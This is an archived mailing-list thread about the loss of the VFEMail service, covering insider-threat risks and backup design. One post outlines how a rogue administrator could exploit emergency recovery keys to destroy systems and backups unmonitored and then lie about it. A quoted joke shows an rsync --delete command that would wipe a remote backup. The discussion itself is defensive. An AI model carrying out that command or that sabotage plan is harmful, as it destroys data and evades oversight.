Y9dcUbnIhgJOmUnMHPx91obumN8RZxbkLFfvNTHzgRn5rI6Gib/DpcEvh1Odsfh1
algt3DFWu5IeOvtpG/hLP5WevS0R8/brlu8Q5VIkobtPnVSoStqO1hYoN2nWXMHP
XgiozNGZCnw+9pVocLuYO+LiGmt1dVvNvKKgBdjmZrjtFfqOBnahx33+jYrI5vQP
PF6ATzt9N7IrjZoc7AcTZCHIeAV/rNfHCGsTFBFxourbc5RUHrU=
=iYyS
-END PGP SIGNATURE-

Re: Semi Off-topic: VFEMail destroyed

[Alex Woick]

Kevin A. McGrail schrieb am 16.02.2019 um 17:59:
Insider threat detection is a whole different ball of wax from backup 
and disaster recovery.  However, there are numerous protocols to help 
for that threat. Specifically Principle of Least Privilege (POLP) and 
Separation of Duties.  I consider this part and parcel of a Zero Trust 
network design.
I work for the last 20 years for a banking company that has the mantra 
of Principle of Least Privilege and Separation of Duties in their 
policies for years. This becomes more paranoid year after year, all by 
European law, and now this has reached a state where I, if I were an 
inside blackhat hacker, would not try to compromise data and backups but 
instead the security systems that enforce the security and safety 
policies. All these monitoring and supervising systems you have to 
authenticate and go through to get your administrative work done.


These are a fragile framework and establish the point of failure. They 
are highly custom built, higly complex, highly non-standard systems, and 
if one part of it fails, the whole system fails. Attack some part of the 
security and authentication systems, so they are unusable as a whole. 
Disturb some part of the silent and innocent infrastructure they rely 
on. DNS, some database, switch, firewall, whatever. You are not able to 
administer the servers any more as a result, company-wide.
Disaster recovery plans come into action to reclaim immediate access to 
the productive systems for the admins, so production can continue. You 
get the emergency access keys that are stored in a vault for disaster 
recovery. They are few. They are mighty. They are global. They cannot be 
as fine-tuned and tuned down as your standard accounts. Now you can 
strike and destroy the productive systems and backups. You are covered 
by the chaos that is a real disaster recovery process. You don't have to 
follow all details of the formal change process, because it's an 
emergency. You are not monitored, since you bypass the monitoring 
systems due to the emergency. You have to document afterwards what you 
did of course, but you can lie.


If you didn't manage to do something bad, you still have your chance in 
the aftermath of the disaster recovery. Your job as admin is to clean up 
systems, close the open doors the disaster recovery keys opened. New 
disaster recovery keys have to be put in the vault. All chances to again 
do something malicious, to plant something for some time later.


I don't feel the network data security is much better these days.

Unfortunately, I don't have a proposal to make it better, either. It's a 
dilemma.

In the end, it comes back to trust. Don't employ people you don't trust.

Re: Semi Off-topic: VFEMail destroyed

[Antony Stone]

On Friday 22 February 2019 at 21:44:07, Alex Woick wrote:

> In the end, it comes back to trust. Don't employ people you don't trust.

How do you know you don't trust them until you find out you can't?


Antony.

-- 
The truth is rarely pure, and never simple.

 - Oscar Wilde

   Please reply to the list;
 please *don't* CC me.

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

On Fri, 22 Feb 2019 22:07:03 +0100
Antony Stone  wrote:
> How do you know you don't trust them until you find out you can't?

Use a vulcan mind meld. :)

More seriously, you can try trusting them with less important and
unmonitored tasks. If they are trustworthy with those then chances are
that trust can be raised to the next level.
Evil and good people tend to behave consistently.
A lot of the trouble with trust is that you have to have a rock solid
understanding of the persons modus operandi, and yours too.

Sincerely,
David

Re: Semi Off-topic: VFEMail destroyed

[@lbutlr]

On 15 Feb 2019, at 19:11, David Niklas  wrote:
> You mean like this?
> rsync -cav --delete /current-empty-part s...@backup.com/very-safe-backup
> :)

No, that would be exceedingly foolish.

If you are doing something like rsync, you run the backup task on the remote 
server. The machine being backed up has no access to the backup machine at all.

However, there are other solutions were the backup stores it’s files where the 
machine being backup cannot access them, then does a differential backup of all 
the files that changed. One advantage to this is that you see very quickly when 
something has gone pear-shaped because the backup suddenly changes size 
dramatically.


-- 
He [Carrot] could lead armies, Angua thought. He really could. Some
people have inspired whole countries to great deeds because of the power
of their vision. And so could he. Not because he dreams about marching
hordes, or world domination, or an empire of a thousand years. Just
because he thinks that everyone's really decent underneath and would get
along just fine if only they made an effort, and he believes that
strongly it burns like a flame that is bigger than he is.